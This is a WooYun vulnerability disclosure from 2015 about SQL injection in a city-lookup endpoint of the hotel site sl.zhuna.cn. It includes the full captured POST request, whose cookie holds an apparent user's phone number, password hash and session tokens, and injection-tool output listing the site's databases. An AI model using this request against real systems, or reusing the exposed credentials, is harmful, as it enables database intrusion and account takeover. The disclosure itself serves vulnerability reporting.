当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0107577

漏洞标题:住哪网某站SQL注入漏洞可影响全网库

相关厂商:住哪网

漏洞作者: BMa

提交时间:2015-04-13 09:45

修复时间:2015-05-28 09:50

公开时间:2015-05-28 09:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-13: 细节已通知厂商并且等待厂商处理中
2015-04-13: 厂商已经确认,细节仅向厂商公开
2015-04-23: 细节向核心白帽子及相关领域专家公开
2015-05-03: 细节向普通白帽子公开
2015-05-13: 细节向实习白帽子公开
2015-05-28: 细节向公众公开

简要描述:

住哪网某站SQL注入漏洞可影响全网库
真的是全网库,终于不用构造来,构造去,还附个脚本

详细说明:

站点:sl.zhuna.cn
发送在选择酒店城市时,有两个数据包,其中一个有问题

POST /guoji/city/getInfo/ HTTP/1.1
Host: sl.zhuna.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://sl.zhuna.cn/guoji/
Content-Length: 67
Cookie: Hm_lvt_eac0c3863f9fda1a2681e8f1c2d552c5=1427675597,1428819772; agent_id=0; tma=246277199.20547671.1427675604008.1427675604008.1428819775712.2; tmd=22.246277199.20547671.1427675604008.; NTKF_T2D_CLIENTID=guestTEMP0CD9-53CC-0474-248C-456B681B6F5B; ZhuNaUserID=7190268; ZhuNaNickName=136%2A%2A%2A%2A7106; ZhuNaPassWord=2df11b3caafbdb8d; ZhuNaUserName=13682457106; token=179bef5a680228fb; _zn_log=1319108520552a14c3a1949546995143; agent%5Fid=4159415; __utma=193237938.1894456180.1428821323.1428821323.1428821323.1; __utmz=193237938.1428821323.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); zhuna_union_ci_session=a%3A8%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22ddc5d9b5639b98ee33649b8284fd491a%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22192.168.0.125%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A72%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%3B+rv%3A37.0%29+Gecko%2F20100101+Firefox%2F37.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1428885367%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A12%3A%22captcha_code%22%3Bs%3A4%3A%22rbqa%22%3Bs%3A8%3A%22userinfo%22%3Ba%3A6%3A%7Bs%3A6%3A%22userid%22%3Bs%3A3%3A%22181%22%3Bs%3A8%3A%22username%22%3Bs%3A8%3A%22wangling%22%3Bs%3A8%3A%22agent_id%22%3Bs%3A7%3A%224979209%22%3Bs%3A10%3A%22permission%22%3Bs%3A5%3A%22A%2CC%2CD%22%3Bs%3A4%3A%22logo%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22fcfs%22%3Bd%3A0.070000000000000007%3B%7Ds%3A13%3A%22userOtherInfo%22%3Ba%3A1%3A%7Bs%3A8%3A%22msgCount%22%3Bi%3A0%3B%7D%7Da81a004797735b7bec2334016b914839
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
cityid=-3247115


current user:    'global_hotel_write'
current database: 'global_hotel'
available databases [8]:
[*] global_hotel
[*] hotel_9tour_cn
[*] master
[*] model
[*] msdb
[*] tempdb
[*] www_zhuna_cn_jipiao
[*] www_zhuna_cn_yufu2

漏洞证明:

0.jpg


3.jpg


4.jpg


5.jpg


6.jpg


7.jpg


看看表的信息就差不多了,不深入

8.jpg

修复方案:

版权声明:转载请注明来源 BMa@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-04-13 09:49

厂商回复:

非常感谢您反馈的信息,相关问题已交由技术处理。

最新状态:

暂无